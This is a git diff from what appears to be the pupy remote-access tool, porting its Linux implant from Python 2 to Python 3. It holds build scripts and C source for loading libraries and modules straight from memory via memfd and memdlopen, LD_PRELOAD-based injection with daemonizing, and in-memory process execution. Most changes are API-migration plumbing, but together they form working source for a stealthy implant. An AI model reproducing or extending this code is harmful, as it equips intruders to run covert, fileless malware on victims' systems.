-D__USE_XOPEN2K8" CFLAGS_PYUV="$CFLAGS_PYUV -D_GNU_SOURCE -DS_ISSOCK(m)='(((m) & S_IFMT) == S_IFSOCK)'" # It may not be possible to build pyuv with linux32 toolchain, because woody don't have epoll() wrapper yet # So make an exception - CC=/gccwrap LDSHARED=/gccwrap \ LDFLAGS="--shared -Os -L/opt/static -static-libgcc -Wl,--allow-shlib-undefined" \ CFLAGS_FILTER="-D_FILE_OFFSET_BITS=64 -Wl,--no-undefined" CFLAGS="$CFLAGS_PYUV" \ $PIP_INSTALL https://github.com/alxchk/pyuv/archive/v1.x.zip --no-binary :all: @@ -100,50 +101,55 @@ else $PIP_INSTALL https://github.com/alxchk/pyuv/archive/v1.x.zip --no-binary :all: fi -# $PIP_INSTALL --no-binary :all: pycryptodome==3.7.0 -$PIP_INSTALL --no-binary :all: https://github.com/Legrandin/pycryptodome/archive/master.zip +#$PIP_INSTALL --no-binary :all: pycryptodome +$PIP_INSTALL https://github.com/Legrandin/pycryptodome/archive/master.zip -cd /usr/lib/python2.7 +#cd /usr/lib/python3.10 +cd ~/.pyenv/versions/3.*/lib/python3.* echo "[+] Strip python modules" find -name "*.so" | while read f; do strip $f; done echo "[+] Build python template ($TOOLCHAIN_ARCH)" -rm -f ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}.zip -zip -y -r -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}.zip . \ +rm -f ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip +zip -y -r -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip . \ -x "*.a" -x "*.la" -x "*.o" -x "*.whl" -x "*.txt" -x "*.pyo" -x "*.pyc" \ -x "*test/*" -x "*tests/*" -x "*examples/*" \ -x "*.egg-info/*" -x "*.dist-info/*" \ -x "idlelib/*" -x "lib-tk/*" -x "tk*" -x "tcl*" >/dev/null -cd /usr/lib -zip -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}-27.zip \ - libpq.so libodbc.so psqlodbcw.so libodbcinst.so libmaodbc.so +#cd /usr/lib +mkdir -p /tmp/libs +cd /tmp/libs +cp /usr/lib/x86_64-linux-gnu/libodbc.so.1 libodbc.so -ldconfig +zip -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip \ + libpq.so libodbc.so psqlodbcw.so libodbcinst.so libmaodbc.so echo "[+] Build pupy" case $TOOLCHAIN_ARCH in amd64) MAKEFLAGS="ARCH=64 MACH=x86_64" - TARGETS="pupyx64d-27.lin pupyx64d-27.lin" - TARGETS="$TARGETS pupyx64-27.lin pupyx64-27.lin.so" + TARGETS="pupyx64d${SUFFIX}.lin pupyx64d${SUFFIX}.lin" + TARGETS="$TARGETS pupyx64${SUFFIX}.lin pupyx64${SUFFIX}.lin.so" + export LIBPYTHON=/root/.pyenv/versions/3.10.6/lib/libpython3.10.so + export LIBPYTHON_INC="-I/root/.pyenv/versions/3.10.6/include/python3.10" ;; x86) - MAKEFLAGS="ARCH=32 PIE= MACH=i686" - TARGETS="pupyx86d-27.lin pupyx86d-27.lin.so" - TARGTS="$TARGETS pupyx86-27.lin pupyx86-27.lin.so" + MAKEFLAGS="ARCH=32 PIE= MACH=i686 $LIBS" + TARGETS="pupyx86d${SUFFIX}.lin pupyx86d${SUFFIX}.lin.so" + TARGETS="$TARGETS pupyx86${SUFFIX}.lin pupyx86${SUFFIX}.lin.so" ;; *) LIBS="LIBSSL=/usr/lib/libssl.so LIBCRYPTO=/usr/lib/libcrypto.so" - LIBS="$LIBS LIBPYTHON=/usr/lib/libpython2.7.so" + LIBS="$LIBS LIBPYTHON=/usr/lib/libpython3.10.so" MAKEFLAGS="MACH=${TOOLCHAIN_ARCH} $LIBS" TARGETS="pupy${TOOLCHAIN_ARCH}d.lin pupy${TOOLCHAIN_ARCH}d.lin.so" - TARGTS="$TARGETS pupy${TOOLCHAIN_ARCH}-27.lin pupy${TOOLCHAIN_ARCH}-27.lin.so" + TARGETS="$TARGETS pupy${TOOLCHAIN_ARCH}${SUFFIX}.lin pupy${TOOLCHAIN_ARCH}${SUFFIX}.lin.so" ;; esac @@ -153,10 +159,13 @@ cd $SRC MAKEFLAGS="$MAKEFLAGS OPENSSL_LIB_VERSION=1.1" +export PKG_CONFIG_PATH=$(echo ~/.pyenv/versions/*/lib/pkgconfig) + make $MAKEFLAGS distclean make -j $MAKEFLAGS make $MAKEFLAGS clean make -j DEBUG=1 $MAKEFLAGS +#make DEBUG=1 $MAKEFLAGS for object in $TARGETS; do if [ -z "$object" ]; then diff --git a/client/sources-linux-py3/build_c_ext.py b/client/sources-linux-py3/build_c_ext.py new file mode 100644 index 00000000..55e81ec2 --- /dev/null +++ b/client/sources-linux-py3/build_c_ext.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python3 +# -*- coding: UTF8 -*- + +from distutils.core import setup, Extension +import sys + + +def main(): + extra_compile_args = ["-D_PUPY_SO=1", "-DLinux=1"] + extra_sources = [] + if "--debug" in sys.argv: + extra_compile_args += ["-DDEBUG"] + extra_sources+=["../common/debug.c"] + print("compiling _pupy.so with DEBUG=1") + setup(name="_pupy", + version="1.0.0", + description="_pupy linux c extension", + author="n1nj4sec", + ext_modules=[Extension("_pupy",sources=(["pupy.c", "daemonize.c", "tmplibrary.c", "ld_hooks.c", "decompress.c"]+extra_sources), + include_dirs=[".","../common"], + extra_compile_args=extra_compile_args + )]) + +if __name__ == "__main__": + main() + diff --git a/client/sources-linux/buildenv-sunos.sh b/client/sources-linux-py3/buildenv-sunos.sh similarity index 100% rename from client/sources-linux/buildenv-sunos.sh rename to client/sources-linux-py3/buildenv-sunos.sh diff --git a/client/sources-linux/compat/bits/sched.h b/client/sources-linux-py3/compat/bits/sched.h similarity index 100% rename from client/sources-linux/compat/bits/sched.h rename to client/sources-linux-py3/compat/bits/sched.h diff --git a/client/sources-linux/compat/bits/stat.h b/client/sources-linux-py3/compat/bits/stat.h similarity index 100% rename from client/sources-linux/compat/bits/stat.h rename to client/sources-linux-py3/compat/bits/stat.h diff --git a/client/sources-linux/compat/ifaddrs.h b/client/sources-linux-py3/compat/ifaddrs.h similarity index 100% rename from client/sources-linux/compat/ifaddrs.h rename to client/sources-linux-py3/compat/ifaddrs.h diff --git a/client/sources-linux/compat/sched.h b/client/sources-linux-py3/compat/sched.h similarity index 100% rename from client/sources-linux/compat/sched.h rename to client/sources-linux-py3/compat/sched.h diff --git a/client/sources-linux/daemonize.c b/client/sources-linux-py3/daemonize.c similarity index 100% rename from client/sources-linux/daemonize.c rename to client/sources-linux-py3/daemonize.c diff --git a/client/sources-linux/daemonize.h b/client/sources-linux-py3/daemonize.h similarity index 100% rename from client/sources-linux/daemonize.h rename to client/sources-linux-py3/daemonize.h diff --git a/client/sources-linux/decompress.c b/client/sources-linux-py3/decompress.c similarity index 100% rename from client/sources-linux/decompress.c rename to client/sources-linux-py3/decompress.c diff --git a/client/sources-linux/decompress.h b/client/sources-linux-py3/decompress.h similarity index 100% rename from client/sources-linux/decompress.h rename to client/sources-linux-py3/decompress.h diff --git a/client/sources-linux-py3/docker/pyenv-setup-build.patch b/client/sources-linux-py3/docker/pyenv-setup-build.patch new file mode 100644 index 00000000..7a5f34f8 --- /dev/null +++ b/client/sources-linux-py3/docker/pyenv-setup-build.patch @@ -0,0 +1,35 @@ +--- Modules/Setup 2023-08-25 15:57:16.039376911 +0000 ++++ Modules/Setup.new 2023-08-25 15:59:07.427185196 +0000 +@@ -107,7 +107,6 @@ + # if $HOME is not set + _sre -DPy_BUILD_CORE_BUILTIN _sre.c # Fredrik Lundh's new regular expressions + _codecs _codecsmodule.c # access to the builtin codecs and codec registry +-_weakref _weakref.c # weak references + _functools -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal _functoolsmodule.c # Tools for working with functions and callable objects + _operator -DPy_BUILD_CORE_BUILTIN _operator.c # operator.add() and similar goodies + _collections _collectionsmodule.c # Container types +@@ -118,6 +117,24 @@ + _stat _stat.c # stat.h interface + time -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal timemodule.c # -lm # time operations and variables + _thread -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal _threadmodule.c # low-level threading interface ++_struct -DPy_BUILD_CORE_BUILTIN _struct.c # binary structure packing/unpacking ++_pickle -DPy_BUILD_CORE_BUILTIN _pickle.c # pickle accelerator ++_random _randommodule.c -DPy_BUILD_CORE_BUILTIN # Random number generator ++math mathmodule.c _math.c -DPy_BUILD_CORE_BUILTIN # -lm # math library functions, e.g. sin() ++zlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz -DPy_BUILD_CORE_BUILTIN ++_sha1 sha1module.c -DPy_BUILD_CORE_BUILTIN ++_sha256 sha256module.c -DPy_BUILD_CORE_BUILTIN ++_sha512 sha512module.c -DPy_BUILD_CORE_BUILTIN ++_md5 md5module.c -DPy_BUILD_CORE_BUILTIN ++_posixsubprocess _posixsubprocess.c -DPy_BUILD_CORE_BUILTIN # POSIX subprocess module helper ++unicodedata unicodedata.c -DPy_BUILD_CORE_BUILTIN # static Unicode character database ++_socket socketmodule.c -DPy_BUILD_CORE_BUILTIN ++select selectmodule.c -DPy_BUILD_CORE_BUILTIN ++mmap mmapmodule.c -DPy_BUILD_CORE_BUILTIN ++_weakref _weakref.c -DPy_BUILD_CORE_BUILTIN ++binascii binascii.c -DPy_BUILD_CORE_BUILTIN ++fcntl fcntlmodule.c -DPy_BUILD_CORE_BUILTIN ++array arraymodule.c -DPy_BUILD_CORE_BUILTIN + + # access to ISO C locale support + _locale -DPy_BUILD_CORE_BUILTIN _localemodule.c # -lintl diff --git a/client/sources-linux/fixes.c b/client/sources-linux-py3/fixes.c similarity index 100% rename from client/sources-linux/fixes.c rename to client/sources-linux-py3/fixes.c diff --git a/client/sources-linux/fixes.h b/client/sources-linux-py3/fixes.h similarity index 100% rename from client/sources-linux/fixes.h rename to client/sources-linux-py3/fixes.h diff --git a/client/sources-linux/ld_hooks.c b/client/sources-linux-py3/ld_hooks.c similarity index 100% rename from client/sources-linux/ld_hooks.c rename to client/sources-linux-py3/ld_hooks.c diff --git a/client/sources-linux/ld_hooks.h b/client/sources-linux-py3/ld_hooks.h similarity index 100% rename from client/sources-linux/ld_hooks.h rename to client/sources-linux-py3/ld_hooks.h diff --git a/client/sources-linux/main_exe.c b/client/sources-linux-py3/main_exe.c similarity index 100% rename from client/sources-linux/main_exe.c rename to client/sources-linux-py3/main_exe.c diff --git a/client/sources-linux/main_so.c b/client/sources-linux-py3/main_so.c similarity index 100% rename from client/sources-linux/main_so.c rename to client/sources-linux-py3/main_so.c diff --git a/client/sources-linux/memfd.h b/client/sources-linux-py3/memfd.h similarity index 99% rename from client/sources-linux/memfd.h rename to client/sources-linux-py3/memfd.h index 11b7ae06..ef8fa1bd 100644 --- a/client/sources-linux/memfd.h +++ b/client/sources-linux-py3/memfd.h @@ -60,7 +60,6 @@ inline static int pupy_memfd_create(char *path, unsigned int path_size) #else char _path[PATH_MAX] = "libc.so.6"; #endif - /* Do not make syscall billion times */ if (memfd_checked && !memfd_works) { errno = ENOSYS; diff --git a/client/sources-linux/pupy.c b/client/sources-linux-py3/pupy.c similarity index 73% rename from client/sources-linux/pupy.c rename to client/sources-linux-py3/pupy.c index 2fc06990..59d26b01 100644 --- a/client/sources-linux/pupy.c +++ b/client/sources-linux-py3/pupy.c @@ -5,6 +5,14 @@ #define _GNU_SOURCE +#ifdef _PUPY_SO +# define PY_SSIZE_T_CLEAN +# include +#else +# include "Python-dynload.h" +# include "Python-dynload-os.h" +#endif + #include #include #include @@ -13,7 +21,6 @@ #include #include #include "debug.h" -#include "Python-dynload.h" #include "daemonize.h" #include #include "tmplibrary.h" @@ -171,10 +178,10 @@ static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args) if (pid == -1) { dprint("Couldn\'t daemonize: %m\n"); unlink(ldobject); - return PyInt_FromLong(-1); + return PyLong_FromLong(-1); } - return PyInt_FromLong(pid); + return PyLong_FromLong(pid); } #ifdef Linux @@ -275,7 +282,7 @@ static PyObject *Py_memfd_create(PyObject *self, PyObject *args, PyObject *kwarg return PyErr_SetFromErrno(PyExc_OSError); } - py_file = PyFile_FromFile(c_file, memfd_path, "w+b", fclose); + py_file = PyFile_FromFd(c_file, memfd_path, "w+b", -1, "", "\n", "", fclose); if (!py_file) { close(fd); return NULL; @@ -291,71 +298,113 @@ static PyObject *Py_memfd_create(PyObject *self, PyObject *args, PyObject *kwarg static PyObject *Py_load_dll(PyObject *self, PyObject *args) { - const char *lpDllBuffer; - uint32_t dwDllLenght; + char *lpDllBuffer; + Py_ssize_t dwDllLenght; const char *dllname; - if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght)) + PyObject *dataobj; + if (!PyArg_ParseTuple(args, "sS", &dllname, &dataobj)) return NULL; - dprint("Py_load_dll(%s)\n", dllname); + if (PyBytes_AsStringAndSize(dataobj, &lpDllBuffer, &dwDllLenght)==-1) { + PyErr_Format(PyExc_ImportError, + "Py_load_dll : cannot convert bytes to char * : %s ", dllname); + return NULL; + } - return PyLong_FromVoidPtr(memdlopen(dllname, lpDllBuffer, dwDllLenght, RTLD_LOCAL | RTLD_NOW)); + dprint("Py_load_dll(%s, buf=%p BufSize=%d)\n", dllname, lpDllBuffer, dwDllLenght); + + void * hmem = memdlopen(dllname, lpDllBuffer, dwDllLenght, RTLD_LOCAL | RTLD_NOW); + if (!hmem) { + dprint("Py_load_dll(): Couldn't load %s\n", dllname); + PyErr_Format(ExecError, "Py_load_dll(): Couldn't load %s\n", dllname); + return NULL; + } + dprint("Py_load_dll(): returning handle: %x\n",hmem); + return PyLong_FromVoidPtr(hmem); } -bool -import_module(const char *initfuncname, char *modname, const char *data, size_t size) { + +static PyObject * +Py_import_module(PyObject *self, PyObject *args) { + char *data; + Py_ssize_t size; + char *initfuncname; + char *modname; + char *pathname; char *oldcontext; + PyObject *dataobj; + PyObject *spec; + /* code, initfuncname, fqmodulename, path */ + if (!PyArg_ParseTuple(args, "SsssO:import_module", + &dataobj, + &initfuncname, &modname, &pathname, &spec)) { + dprint("error in PyArg_ParseTuple()\n"); + return NULL; + } + + dprint("DEBUG! %s@%s\n", initfuncname, modname); + + if (PyBytes_AsStringAndSize(dataobj, &data, &size)==-1) { + PyErr_Format(PyExc_ImportError, + "cannot convert bytes to char * : %s ", pathname); + return NULL; + } + dprint("import_module: init=%s mod=%s (%p:%lu)\n", initfuncname, modname, data, size); void *hmem = memdlopen(modname, data, size, RTLD_LOCAL | RTLD_NOW); if (!hmem) { - dprint("Couldn't load %s: %m\n", modname); - return false; + dprint("Py_import_module(): Couldn't load %s\n", modname); + PyErr_Format(PyExc_ImportError, "Py_load_dll(): Couldn't load %s\n", modname); + return NULL; } - void (*do_init)() = dlsym(hmem, initfuncname); + PyObject *(*do_init)(void); + do_init= dlsym(hmem, initfuncname); if (!do_init) { dprint("Couldn't find sym %s in %s: %m\n", initfuncname, modname); dlclose(hmem); - return false; + return NULL; } oldcontext = _Py_PackageContext; _Py_PackageContext = modname; dprint("Call %s@%s (%p)\n", initfuncname, modname, do_init); - do_init(); + PyObject *m = do_init(); _Py_PackageContext = oldcontext; dprint("Call %s@%s (%p) - complete\n", initfuncname, modname, do_init); - return true; -} + // multi phase init + if (PyObject_TypeCheck(m, &PyModuleDef_Type)) { + struct PyModuleDef *def; + PyObject *state; -static PyObject * -Py_import_module(PyObject *self, PyObject *args) { - char *data; - int size; - char *initfuncname; - char *modname; - char *pathname; + m = PyModule_FromDefAndSpec((PyModuleDef*)m, spec); + def = PyModule_GetDef(m); + state = PyModule_GetState(m); + if (state == NULL) { + PyModule_ExecDef(m, def); + } + dprint("return from PyObject_TypeCheck\n", modname); + return m; + } + PyObject *modules = NULL; + modules = PyImport_GetModuleDict(); + PyObject *name = PyUnicode_FromString(modname); + _PyImport_FixupExtensionObject(m, name, name, modules); - /* code, initfuncname, fqmodulename, path */ - if (!PyArg_ParseTuple(args, "s#sss:import_module", - &data, &size, - &initfuncname, &modname, &pathname)) { - return NULL; + Py_DECREF(name); + + if (PyErr_Occurred()) { + dprint("error at the end\n"); + return NULL; } - dprint("DEBUG! %s@%s\n", initfuncname, modname); - - if (!import_module(initfuncname, modname, data, size)) { - PyErr_Format(PyExc_ImportError, - "Could not find function %s", initfuncname); - return NULL; - } + dprint("calling PyImport_ImportModule(%s)\n", modname); /* Retrieve from sys.modules */ return PyImport_ImportModule(modname); } @@ -368,6 +417,7 @@ static PyObject *Py_mexec(PyObject *self, PyObject *args) PyObject *redirected_obj = NULL; PyObject *detach_obj = NULL; +//TODO: change all deprecated and broken s# notation in PyArg_ParseTuple if (!PyArg_ParseTuple(args, "s#OOO", &buffer, &buffer_size, &argv_obj, &redirected_obj, &detach_obj)) return NULL; @@ -407,13 +457,13 @@ static PyObject *Py_mexec(PyObject *self, PyObject *args) PyObject * p_stderr = Py_None; if (redirected) { - p_stdin = PyFile_FromFile(fdopen(stdior[0], "w"), "mexec:stdin", "a", fclose); - p_stdout = PyFile_FromFile(fdopen(stdior[1], "r"), "mexec:stdout", "r", fclose); - p_stderr = PyFile_FromFile(fdopen(stdior[2], "r"), "mexec:stderr", "r", fclose); + p_stdin = PyFile_FromFd(fdopen(stdior[0], "w"), "mexec:stdin", "a", 0, "", "\n", "", fclose); + p_stdout = PyFile_FromFd(fdopen(stdior[1], "r"), "mexec:stdout", "r", 0, "", "\n", "", fclose); + p_stderr = PyFile_FromFd(fdopen(stdior[2], "r"), "mexec:stderr", "r", 0, "", "\n", "", fclose); - PyFile_SetBufSize(p_stdin, 0); - PyFile_SetBufSize(p_stdout, 0); - PyFile_SetBufSize(p_stderr, 0); + //PyFile_SetBufSize(p_stdin, 0); + //PyFile_SetBufSize(p_stdout, 0); + //PyFile_SetBufSize(p_stderr, 0); } return Py_BuildValue("i(OOO)", pid, p_stdin, p_stdout, p_stderr); @@ -448,12 +498,36 @@ static PyMethodDef methods[] = { { NULL, NULL }, /* Sentinel */ }; -DL_EXPORT(void) -init_pupy(void) { +static struct PyModuleDef PupyModuleDef = +{ +// PyModuleDef_HEAD_INIT, + { + { 0, 0, 1, NULL} , + NULL, /* m_init */ + 0, /* m_index */ + NULL + }, /* m_copy */ + "_pupy", /* name of module */ + "", /* module documentation, may be NULL */ + -1, /* size of per-interpreter state of the module, or -1 if the module keeps state in global variables. */ + methods +}; + +#ifdef _PUPY_DYNLOAD +#define FUNC_EXPORT PyMODINIT_FUNC +#else +#define FUNC_EXPORT void * +#endif + +FUNC_EXPORT PyInit__pupy(void) { + + PyObject *pupy; + //PyObject *pupy = Py_InitModule3("_pupy", methods, (char *) module_doc); + dprint("creating pupy module ...\n"); + pupy = PyModule_Create(&PupyModuleDef); - PyObject *pupy = Py_InitModule3("_pupy", methods, (char *) module_doc); if (!pupy) { - return; + return NULL; } PyModule_AddStringConstant(pupy, "revision", GIT_REVISION_HEAD); @@ -462,7 +536,7 @@ init_pupy(void) { PyModule_AddObject(pupy, "error", ExecError); #ifdef _PUPY_SO - setup_jvm_class(); + //setup_jvm_class(); #endif #ifdef _FEATURE_PATHMAP @@ -473,4 +547,5 @@ init_pupy(void) { set_pathmap_callback(__pathmap_callback); #endif #endif + return pupy; } diff --git a/client/sources-linux/pupy.ldscript b/client/sources-linux-py3/pupy.ldscript similarity index 100% rename from client/sources-linux/pupy.ldscript rename to client/sources-linux-py3/pupy.ldscript diff --git a/client/sources-linux/pupy.so.ldscript b/client/sources-linux-py3/pupy.so.ldscript similarity index 100% rename from client/sources-linux/pupy.so.ldscript rename to client/sources-linux-py3/pupy.so.ldscript diff --git a/client/sources-linux/pupy_load.c b/client/sources-linux-py3/pupy_load.c similarity index 66% rename from client/sources-linux/pupy_load.c rename to client/sources-linux-py3/pupy_load.c index 62d03232..86d0cf4c 100644 --- a/client/sources-linux/pupy_load.c +++ b/client/sources-linux-py3/pupy_load.c @@ -19,20 +19,27 @@ #include "debug.h" #include "pupy_load.h" + #include "Python-dynload.c" #include "revision.h" #include "ld_hooks.h" +#include "memfd.h" -extern DL_EXPORT(void) init_pupy(void); +// include the c extension to load from memory +#include "_pupy.c" + +//extern DL_EXPORT(void) init_pupy(void); #if defined(_FEATURE_PATHMAP) && defined(_LD_HOOKS_NAME) const char *__pathmap_callback(const char *path, char *buf, size_t buf_size); #endif + uint32_t mainThread(int argc, char *argv[], bool so) { struct rlimit lim; + char *oldcontext; dprint("TEMPLATE REV: %s\n", GIT_REVISION_HEAD); @@ -78,7 +85,38 @@ uint32_t mainThread(int argc, char *argv[], bool so) return -1; } - init_pupy(); + dprint("_pupy built with dynload\n"); + //init_pupy(); + void *c_pupy = xz_dynload( + "_pupy.so", + _pupy_c_start, _pupy_c_size, + NULL + ); + PyObject *(*PyInit__pupy)(void); + PyInit__pupy= dlsym(c_pupy, "PyInit__pupy"); + if (!PyInit__pupy) { + dprint("Couldn't find sym PyInit__pupy"); + dlclose(c_pupy); + return -1; + } + + oldcontext = _Py_PackageContext; + _Py_PackageContext = "_pupy"; + + PyObject *m = PyInit__pupy(); + _Py_PackageContext = oldcontext; + + PyObject *modules = NULL; + modules = PyImport_GetModuleDict(); + PyObject *name = PyUnicode_FromString("_pupy"); + _PyImport_FixupExtensionObject(m, name, name, modules); + + Py_DECREF(name); + + if (PyErr_Occurred()) { + dprint("error loading _pupy.so\n"); + return false; + } dprint("Running pupy...\n"); run_pupy(); diff --git a/client/sources-linux/pupy_load.h b/client/sources-linux-py3/pupy_load.h similarity index 100% rename from client/sources-linux/pupy_load.h rename to client/sources-linux-py3/pupy_load.h diff --git a/client/sources-linux-py3/revision.h b/client/sources-linux-py3/revision.h new file mode 100644 index 00000000..faf53fdd --- /dev/null +++ b/client/sources-linux-py3/revision.h @@ -0,0 +1 @@ +#define GIT_REVISION_HEAD "4ae6ce47" diff --git a/client/sources-linux/tmplibrary.c b/client/sources-linux-py3/tmplibrary.c similarity index 98% rename from client/sources-linux/tmplibrary.c rename to client/sources-linux-py3/tmplibrary.c index 54d851af..9de57426 100644 --- a/client/sources-linux/tmplibrary.c +++ b/client/sources-linux-py3/tmplibrary.c @@ -147,7 +147,6 @@ int drop_library(char *path, size_t path_size, const char *buffer, size_t size) return fd; } } - if (size > 2 && buffer[0] == '\x1f' && buffer[1] == '\x8b') { dprint("Decompressing library %s\n", path); int r = decompress(fd, buffer, size); @@ -157,6 +156,7 @@ int drop_library(char *path, size_t path_size, const char *buffer, size_t size) return -1; } } else { + dprint("Wrining library to fd : %s\n", path); while (size > 0) { size_t n = write(fd, buffer, size); if (n == -1) { @@ -170,13 +170,15 @@ int drop_library(char *path, size_t path_size, const char *buffer, size_t size) size -= n; } } - + #ifdef Linux if (memfd) { + dprint("calling fcntl on fd=%d\n", fd); fcntl(fd, F_ADD_SEALS, F_SEAL_SEAL | F_SEAL_SHRINK | F_SEAL_GROW | F_SEAL_WRITE); } #endif + dprint("returning fd=%d\n", fd); return fd; } @@ -572,7 +574,7 @@ void *_dlopen(int fd, const char *path, int flags, const char *soname) { handle = dlopen(path, flags); #endif - dprint("memdlopen - dlmopen - _dlopen(lmid=%08x, %s, %s)\n", lmid, path, soname); + dprint("memdlopen - dlmopen - _dlopen(lmid=%08x, %s, %s); handle=%p\n", lmid, path, soname, handle); if (flags & RTLD_NOLOAD || !handle) { return handle; diff --git a/client/sources-linux/tmplibrary.h b/client/sources-linux-py3/tmplibrary.h similarity index 100% rename from client/sources-linux/tmplibrary.h rename to client/sources-linux-py3/tmplibrary.h diff --git a/client/sources-linux/NOTES b/client/sources-linux/NOTES deleted file mode 100644 index 71764af5..00000000 --- a/client/sources-linux/NOTES +++ /dev/null @@ -1,69 +0,0 @@ -TODO: create buildenv.sh for linux builds - -1. Support USER_NS + MOUNT_NS builds - Jessie, Stretch - USER_NS - may be enabled, but doesn't support - non-root mounts from USER_NS. - Any upstream distro? -2. Buildenv base distros: - x86_64: debian etch (couldn't find anything earlier than it for amd64) - x386: debian woody (covers all linux setups for last ~8-10 years) -3. Software to replace/update/install - 1. Make (3.82) and pkg-config (latest/0.29) - 2. Openssl (latest, .a only) - 3. zlib (latest, .a only) - 4. bz2 (latest, .a only) - 5. sqlite (latest, .a only) - 6. libffi (latest, .a only) - 7. GCC (latest from repo, for etch/amd64) - 8. Python 2.7 (Link with those .a builds) - 9. GLib (2.32.4) - 10. DBus (1.2.12) (covers Ubuntu 9.04+) - 11. DBus-GLib (0.88) - 12. GObject-Introspection (1.32.2; covers Ubuntu 10.04+) - 13. PyGObject (latest?/3.2.2) - 14. DBus-python (0.84) - 15. pip (latest/get-pip.py) - 16. sqlite3 (latest) -4. Patches - 1. Python - 2. GLib/DBus (to build it at all) - 3. PyGObject (to build with static typelib) -5. Strip all python .so modules - -6. Compatibility / proven to work -+-----------+-------+----------+ -| Distro | dbus |pydbus/gir| -+ ----------+-------+----------+ -| Ubuntu | + | - | -| 9.04/x86 | | | -+ ----------+-------+----------+ -| Ubuntu | + | - | -| 9.04/x64 | | | -+ ----------+-------+----------+ -| Ubuntu | + | + | -| 10.04/x86 | | | -+ ----------+-------+----------+ -| Ubuntu | + | - | -| 10.04/x64 | | | -+ ----------+-------+----------+ -| Ubuntu | + | + | -| 12.04/x64 | | | -+ ----------+-------+----------+ -| Ubuntu | + | + | -| 14.04/x86 | | | -+ ----------+-------+----------+ -| Ubuntu | + | + | -| 16.10/x64 | | | -+ ----------+-------+----------+ -| CentOS 5 | + | - | -| x64 | | | -+ ----------+-------+----------+ -| CentOS 6 | + | - | -| x86 | | | -+ ----------+-------+----------+ -| CentOS 7 | + | + | -| x64 | | | -+ ----------+-------+----------+ -| Gentoo | + | + | -| ~amd64 | | | -+ ----------+-------+----------+ diff --git a/client/sources-linux/Python-dynload-os.h b/client/sources-linux/Python-dynload-os.h deleted file mode 100644 index e91fc95a..00000000 --- a/client/sources-linux/Python-dynload-os.h +++ /dev/null @@ -1,97 +0,0 @@ -#ifndef PYTHON_DYNLOAD_OS_H -#define PYTHON_DYNLOAD_OS_H - -#define _GNU_SOURCE -#include -#include -#include -#include - -#define PYTHON_LIB_NAME "libpython2.7.so.1.0" - -#include "Python-dynload.h" - -#define FREE_HMODULE_AFTER_LOAD 1 -#define FILE_SYSTEM_ENCODING "utf-8" - -typedef void *HMODULE; -typedef void *(*resolve_symbol_t)(HMODULE hModule, const char *name); - -#ifndef OPENSSL_LIB_VERSION -#define OPENSSL_LIB_VERSION "1.0.0" -#endif - -#define DEPENDENCIES \ -{ \ - { \ - "libcrypto.so." OPENSSL_LIB_VERSION, \ - libcrypto_c_start, \ - libcrypto_c_size, \ - FALSE \ - }, { \ - "libssl.so." OPENSSL_LIB_VERSION, \ - libssl_c_start, \ - libssl_c_size, \ - FALSE \ - }, { \ - PYTHON_LIB_NAME, \ - python27_c_start, \ - python27_c_size, \ - TRUE \ - } \ -} - -#define OSAlloc(size) malloc(size) -#define OSFree(ptr) free(ptr) - -#define OSLoadLibrary(name) dlopen(name, RTLD_NOW) -#define OSResolveSymbol dlsym -#define OSUnmapRegion munmap -#define MemLoadLibrary(name, bytes, size, arg) \ - memdlopen(name, bytes, size, RTLD_NOW | RTLD_GLOBAL) -#define MemResolveSymbol dlsym -#define CheckLibraryLoaded(name) dlopen(name, RTLD_NOW | RTLD_NOLOAD) - -#ifndef PYTHON_DYNLOAD_OS_NO_BLOBS -static const char *OSGetProgramName() -{ - static BOOL is_set = FALSE; - static char exe[PATH_MAX] = {'\0'}; - - if (is_set) - return exe; - -#if defined(Linux) - dprint("INVOCATION NAME: %s\n", program_invocation_name); - - if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0) - { - if (strstr(exe, "/memfd:")) - { - snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid()); - } - } - else - { - char *upx_env = getenv(" "); - if (upx_env) - { - snprintf(exe, sizeof(exe), "%s", upx_env); - } - } - -#elif defined(SunOS) - strcpy(exe, getexecname()); -#endif - - is_set = TRUE; - return exe; -} - -#include "python27.c" -#include "libcrypto.c" -#include "libssl.c" -#include "tmplibrary.h" -#endif - -#endif diff --git a/client/sources-linux/injector b/client/sources-linux/injector deleted file mode 160000 index 0b2f8743..00000000 --- a/client/sources-linux/injector +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 0b2f87430160c48c42dd055d374d52916d72a597 diff --git a/client/sources-windows-py3/.gitignore b/client/sources-windows-py3/.gitignore new file mode 100644 index 00000000..5e385e37 --- /dev/null +++ b/client/sources-windows-py3/.gitignore @@ -0,0 +1,4 @@ +import-tab.c +import-tab.h +resources +revision.h diff --git a/client/sources-windows-py3/pupy.c b/client/sources-windows-py3/pupy.c index d00dec10..6f05e7cd 100644 --- a/client/sources-windows-py3/pupy.c +++ b/client/sources-windows-py3/pupy.c @@ -350,12 +350,11 @@ import_module(PyObject *self, PyObject *args) PyObject *dataobj; PyObject *spec; - /* code, initfuncname, fqmodulename, path */ if (!PyArg_ParseTuple(args, "SsssO:import_module", &dataobj, &initfuncname, &modname, &pathname, &spec)) { dprint("error in PyArg_ParseTuple()\n"); - return NULL; + return NULL; } if (PyBytes_AsStringAndSize(dataobj, &data, &size)==-1) { diff --git a/pupy/agent/__init__.py b/pupy/agent/__init__.py index 9bb84ccd..836ae5c7 100644 --- a/pupy/agent/__init__.py +++ b/pupy/agent/__init__.py @@ -381,8 +381,9 @@ def load_dll(name, buf=None): cleanup_name = True else: return None - + dprint("calling load_dll(name={}, buflen={}, buf0={}, buf1={})", name, len(buf), buf[0], buf[1]) handle = _load_dll(name, buf) + dprint("load_dll() handle={}",handle) if handle: dlls[name] = handle 